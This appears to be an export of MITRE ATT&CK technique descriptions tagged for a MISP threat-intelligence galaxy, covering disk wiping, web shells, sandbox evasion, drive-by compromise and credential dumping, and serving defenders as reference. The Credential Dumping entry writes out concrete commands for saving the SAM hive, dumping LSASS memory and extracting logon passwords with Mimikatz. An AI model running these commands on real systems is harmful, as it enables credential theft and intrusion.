http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf
https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/
http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/

Runtime Data Manipulation - T1494

Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1494"

Table 2497. Table References
Links
https://attack.mitre.org/techniques/T1494
https://content.fireeye.com/apt/rpt-apt38
https://www.justice.gov/opa/press-release/file/1092091/download

Exploit Baseband Vulnerability - T1455

A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi or other) to the mobile device could exploit a vulnerability in code running on the device.

Komaromy and N. Golde demonstrated baseband exploitation of a Samsung mobile device at the PacSec 2015 security conference (Citation: Register-BaseStation).

Weinmann described and demonstrated "the risk of remotely exploitable memory corruptions in cellular baseband stacks." (Citation: Weinmann-Baseband)

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-attack-pattern="Exploit Baseband Vulnerability - T1455"

Exploit Baseband Vulnerability - T1455 has relationships with:

revoked-by: misp-galaxy:mitre-attack-pattern="Exploit via Radio Interfaces - T1477" with estimative-language:likelihood-probability="almost-certain"

Table 2498. Table References
Links
https://attack.mitre.org/techniques/T1455

Malicious Media Content - T1457

Content of a media (audio or video) file could be designed to exploit vulnerabilities in parsers on the mobile device, as for example demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-attack-pattern="Malicious Media Content - T1457"

Malicious Media Content - T1457 has relationships with:

revoked-by: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1456" with estimative-language:likelihood-probability="almost-certain"

Table 2499. Table References
Links
https://attack.mitre.org/techniques/T1457

Disk Structure Wipe - T1487

Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources.

Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.

To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)

The tag is: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487"

Table 2500. Table References
Links
https://attack.mitre.org/techniques/T1487
https://www.symantec.com/connect/blogs/shamoon-attacks
https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html
http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf
https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/

Disk Content Wipe - T1488

Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.

Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files.

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Novetta Blockbuster Destructive Malware)

The tag is: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1488"

Table 2501. Table References
Links
https://attack.mitre.org/techniques/T1488
https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf
https://www.justice.gov/opa/press-release/file/1092091/download

Obtain/re-use payloads - T1346

A payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)

The tag is: misp-galaxy:mitre-attack-pattern="Obtain/re-use payloads - T1346"

Table 2502. Table References
Links
https://attack.mitre.org/techniques/T1346

Multi-Stage Channels - T1104

Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.

Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.

The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.

The tag is: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104"

Table 2503. Table References
Links
https://attack.mitre.org/techniques/T1104

Third-party Software - T1072

Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.

Adversaries may gain access to and use third-party systems installed within an enterprise network, such as administration, monitoring, and deployment systems as well as third-party gateways and jump servers used for managing other systems. Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it’s intended purpose.

The tag is: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072"

Table 2504. Table References
Links
https://attack.mitre.org/techniques/T1072

DLL Side-Loading - T1073

Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)

Adversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.

The tag is: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073"

Table 2505. Table References
Links
https://attack.mitre.org/techniques/T1073
https://capec.mitre.org/data/definitions/641.html
https://msdn.microsoft.com/en-us/library/aa375365
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf

Command-Line Interface - T1059

Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is [cmd](https://attack.mitre.org/software/S0106), which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. [Scheduled Task](https://attack.mitre.org/techniques/T1053)).

Adversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.

The tag is: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059"

Table 2506. Table References
Links
https://attack.mitre.org/techniques/T1059
https://en.wikipedia.org/wiki/Command-line_interface

Re-opened Applications - T1164

Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist</code>.

An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).

The tag is: misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1164"

Table 2507. Table References
Links
https://attack.mitre.org/techniques/T1164
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

SID-History Injection - T1178

The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).

Adversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).

The tag is: misp-galaxy:mitre-attack-pattern="SID-History Injection - T1178"

Table 2508. Table References
Links
https://attack.mitre.org/techniques/T1178
https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx
https://msdn.microsoft.com/library/ms679833.aspx
https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems
https://technet.microsoft.com/library/ee617241.aspx
https://adsecurity.org/?p=1772
https://msdn.microsoft.com/library/ms677982.aspx

Multi-hop Proxy - T1188

To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.

The tag is: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188"

Table 2509. Table References
Links
https://attack.mitre.org/techniques/T1188

Drive-by Compromise - T1189

A drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user’s web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring application access tokens.

Multiple ways of delivering exploit code to a browser exist, including:

A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.
Malicious ads are paid for and served through legitimate ad providers.
Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).

Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. (Citation: Shadowserver Strategic Web Compromise)

Typical drive-by compromise process:

A user visits a website that is used to host the adversary controlled content.
Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version.
- The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.
Upon finding a vulnerable version, exploit code is delivered to the browser.
If exploitation is successful, then it will give the adversary code execution on the user’s system unless other protections are in place.
- In some cases a second visit to the website after the initial scan is required before exploit code is delivered.

Unlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.

Adversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)

The tag is: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189"

Table 2510. Table References
Links
https://attack.mitre.org/techniques/T1189
http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/
https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/

Drive-by Compromise - T1456

As described by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), a drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user’s web browser is targeted for exploitation. For example, a website may contain malicious media content intended to exploit vulnerabilities in media parsers as demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).

(This technique was formerly known as Malicious Web Content. It has been renamed to better align with ATT&CK for Enterprise.)

The tag is: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1456"

Table 2511. Table References
Links
https://attack.mitre.org/techniques/T1456
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html
https://blog.zimperium.com/experts-found-a-unicorn-in-the-heart-of-android/

Identify groups/roles - T1270

Personnel internally to a company may belong to a group or maintain a role with electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is a system administrator. (Citation: RSA-APTRecon)

The tag is: misp-galaxy:mitre-attack-pattern="Identify groups/roles - T1270"

Table 2512. Table References
Links
https://attack.mitre.org/techniques/T1270

Proxy/protocol relays - T1304

Proxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)

The tag is: misp-galaxy:mitre-attack-pattern="Proxy/protocol relays - T1304"

Table 2513. Table References
Links
https://attack.mitre.org/techniques/T1304

Develop KITs/KIQs - T1227

Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management’s intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)

The tag is: misp-galaxy:mitre-attack-pattern="Develop KITs/KIQs - T1227"

Table 2514. Table References
Links
https://attack.mitre.org/techniques/T1227

System Shutdown/Reboot - T1529

Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.

Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)

The tag is: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529"

Table 2515. Table References
Links
https://attack.mitre.org/techniques/T1529
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown
https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html

Virtualization/Sandbox Evasion - T1497

Adversaries may check for the presence of a virtual machine environment (VME) or sandbox to avoid potential detection of tools and activities. If the adversary detects a VME, they may alter their malware to conceal the core functions of the implant or disengage from the victim. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information from learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.

Adversaries may use several methods including [Security Software Discovery](https://attack.mitre.org/techniques/T1063) to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) by searching for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) to help determine if it is an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandboxes. (Citation: Unit 42 Pirpi July 2015)

Virtual Machine Environment Artifacts Discovery

Adversaries may use utilities such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1086), [Systeminfo](https://attack.mitre.org/software/S0096), and the [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, and/or the Registry. Adversaries may use [Scripting](https://attack.mitre.org/techniques/T1064) to combine these checks into one script and then have the program exit if it determines the system to be a virtual environment. Also, in applications like VMWare, adversaries can use a special I/O port to send commands and receive output. Adversaries may also check the drive size. For example, this can be done using the Win32 DeviceIOControl function.

Example VME Artifacts in the Registry(Citation: McAfee Virtual Jan 2017)

<code>HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions</code>
<code>HKLM\HARDWARE\Description\System\”SystemBiosVersion”;”VMWARE”</code>
<code>HKLM\HARDWARE\ACPI\DSDT\BOX_</code>

Example VME files and DLLs on the system(Citation: McAfee Virtual Jan 2017)

<code>WINDOWS\system32\drivers\vmmouse.sys</code>
<code>WINDOWS\system32\vboxhook.dll</code>
<code>Windows\system32\vboxdisp.dll</code>

Common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017)

User Activity Discovery

Adversaries may search for user activity on the host (e.g., browser history, cache, bookmarks, number of files in the home directories, etc.) for reassurance of an authentic environment. They might detect this type of information via user interaction and digital signatures. They may have malware check the speed and frequency of mouse clicks to determine if it’s a sandboxed environment.(Citation: Sans Virtual Jan 2016) Other methods may rely on specific user interaction with the system before the malicious code is activated. Examples include waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) and waiting for a user to double click on an embedded image to activate (Citation: FireEye FIN7 April 2017).

Virtual Hardware Fingerprinting Discovery

Adversaries may check the fan and temperature of the system to gather evidence that can be indicative a virtual environment. An adversary may perform a CPU check using a WMI query <code>$q = “Select * from Win32_Fan” Get-WmiObject -Query $q</code>. If the results of the WMI query return more than zero elements, this might tell them that the machine is a physical one. (Citation: Unit 42 OilRig Sept 2018)

The tag is: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497"

Table 2516. Table References
Links
https://attack.mitre.org/techniques/T1497
https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/
https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667
https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/

Data Obfuscation - T1001

Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.

The tag is: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001"

Table 2517. Table References
Links
https://attack.mitre.org/techniques/T1001
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Web Shell - T1100

A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)

Web shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary’s primary access methods are detected and removed.

The tag is: misp-galaxy:mitre-attack-pattern="Web Shell - T1100"

Table 2518. Table References
Links
https://attack.mitre.org/techniques/T1100
https://capec.mitre.org/data/definitions/650.html
https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
https://www.us-cert.gov/ncas/alerts/TA15-314A

Automated Exfiltration - T1020

Data, such as sensitive documents, may be exfiltrated through the use of automated processing or [Scripting](https://attack.mitre.org/techniques/T1064) after being gathered during Collection.

When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).

The tag is: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020"

Table 2519. Table References
Links
https://attack.mitre.org/techniques/T1020

Hardware Additions - T1200

Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.

The tag is: misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200"

Table 2520. Table References
Links
https://attack.mitre.org/techniques/T1200
https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html
http://www.bsidesto.ca/2015/slides/Weapons_of_a_Penetration_Tester.pptx
https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained
https://www.youtube.com/watch?v=fXthwl6ShOg
https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/

Data Compressed - T1002

An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.

The tag is: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002"

Table 2521. Table References
Links
https://attack.mitre.org/techniques/T1002
https://en.wikipedia.org/wiki/List_of_file_signatures

Credential Dumping - T1003

Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.

Several of the tools mentioned in this technique may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.

Windows

SAM (Security Accounts Manager)

The SAM is a database file that contains local accounts for the host, typically those found with the ‘net user’ command. To enumerate the SAM database, system level access is required. A number of tools can be used to retrieve the SAM file through in-memory techniques:

pwdumpx.exe
[gsecdump](https://attack.mitre.org/software/S0008)
[Mimikatz](https://attack.mitre.org/software/S0002)
secretsdump.py

Alternatively, the SAM can be extracted from the Registry with [Reg](https://attack.mitre.org/software/S0075):

<code>reg save HKLM\sam sam</code>
<code>reg save HKLM\system system</code>

Creddump7 can then be used to process the SAM database locally to retrieve hashes. (Citation: GitHub Creddump7)

Notes: Rid 500 account is the local, in-built administrator. Rid 501 is the guest account. User accounts start with a RID of 1,000+.

Cached Credentials

The DCC2 (Domain Cached Credentials version 2) hash, used by Windows Vista and newer caches credentials when the domain controller is unavailable. The number of default cached credentials varies, and this number can be altered per system. This hash does not allow pass-the-hash style attacks. A number of tools can be used to retrieve the SAM file through in-memory techniques.

pwdumpx.exe
[gsecdump](https://attack.mitre.org/software/S0008)
[Mimikatz](https://attack.mitre.org/software/S0002)

Alternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.

Notes: Cached credentials for Windows Vista are derived using PBKDF2.

Local Security Authority (LSA) Secrets

With SYSTEM access to a host, the LSA secrets often allows trivial access from a local account to domain-based account credentials. The Registry is used to store the LSA secrets. When services are run under the context of local or domain users, their passwords are stored in the Registry. If auto-logon is enabled, this information will be stored in the Registry as well. A number of tools can be used to retrieve the SAM file through in-memory techniques.

pwdumpx.exe
[gsecdump](https://attack.mitre.org/software/S0008)
[Mimikatz](https://attack.mitre.org/software/S0002)
secretsdump.py

Alternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.

Notes: The passwords extracted by his mechanism are UTF-16 encoded, which means that they are returned in plaintext. Windows 10 adds protections for LSA Secrets described in Mitigation.

NTDS from Domain Controller

Active Directory stores information about members of the domain including devices and users to verify credentials and define access rights. The Active Directory domain database is stored in the NTDS.dit file. By default the NTDS file will be located in %SystemRoot%\NTDS\Ntds.dit of a domain controller. (Citation: Wikipedia Active Directory)

The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.

Volume Shadow Copy
secretsdump.py
Using the in-built Windows tool, ntdsutil.exe
Invoke-NinjaCopy

Group Policy Preference (GPP) Files

Group Policy Preferences (GPP) are tools that allowed administrators to create domain policies with embedded credentials. These policies, amongst other things, allow administrators to set local accounts.

These group policies are stored in SYSVOL on a domain controller, this means that any domain user can view the SYSVOL share and decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft GPP Key) (Citation: SRD GPP)

The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:

Metasploit’s post exploitation module: "post/windows/gather/credentials/gpp"
Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword)
gpprefdecrypt.py

Notes: On the SYSVOL share, the following can be used to enumerate potential XML files. dir /s * .xml

Service Principal Names (SPNs)

See [Kerberoasting](https://attack.mitre.org/techniques/T1208).

Plaintext Credentials

After a user logs on to a system, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service (LSASS) process in memory. These credentials can be harvested by a administrative user or SYSTEM.

SSPI (Security Support Provider Interface) functions as a common interface to several Security Support Providers (SSPs): A Security Support Provider is a dynamic-link library (DLL) that makes one or more security packages available to applications.

The following SSPs can be used to access credentials:

Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package. Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential Protection) Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later. CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services. (Citation: Microsoft CredSSP) The following tools can be used to enumerate credentials:

[Windows Credential Editor](https://attack.mitre.org/software/S0005)
[Mimikatz](https://attack.mitre.org/software/S0002)

As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.

For example, on the target host use procdump:

<code>procdump -ma lsass.exe lsass_dump</code>

Locally, mimikatz can be run:

<code>sekurlsa::Minidump lsassdump.dmp</code>
<code>sekurlsa::logonPasswords</code>

DCSync

DCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller’s application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1097) (Citation: Harmj0y Mimikatz and DCSync) or change an account’s password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098). (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the "lsadump" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)

Linux

Proc filesystem

The /proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively. This functionality has been implemented in the [MimiPenguin](https://attack.mitre.org/software/S0179), an open source tool inspired by [Mimikatz](https://attack.mitre.org/software/S0002). The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.

The tag is: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003"

Table 2522. Table References
Links
https://attack.mitre.org/techniques/T1003
https://github.com/Neohapsis/creddump7
https://en.wikipedia.org/wiki/Active_Directory
https://msdn.microsoft.com/library/cc422924.aspx
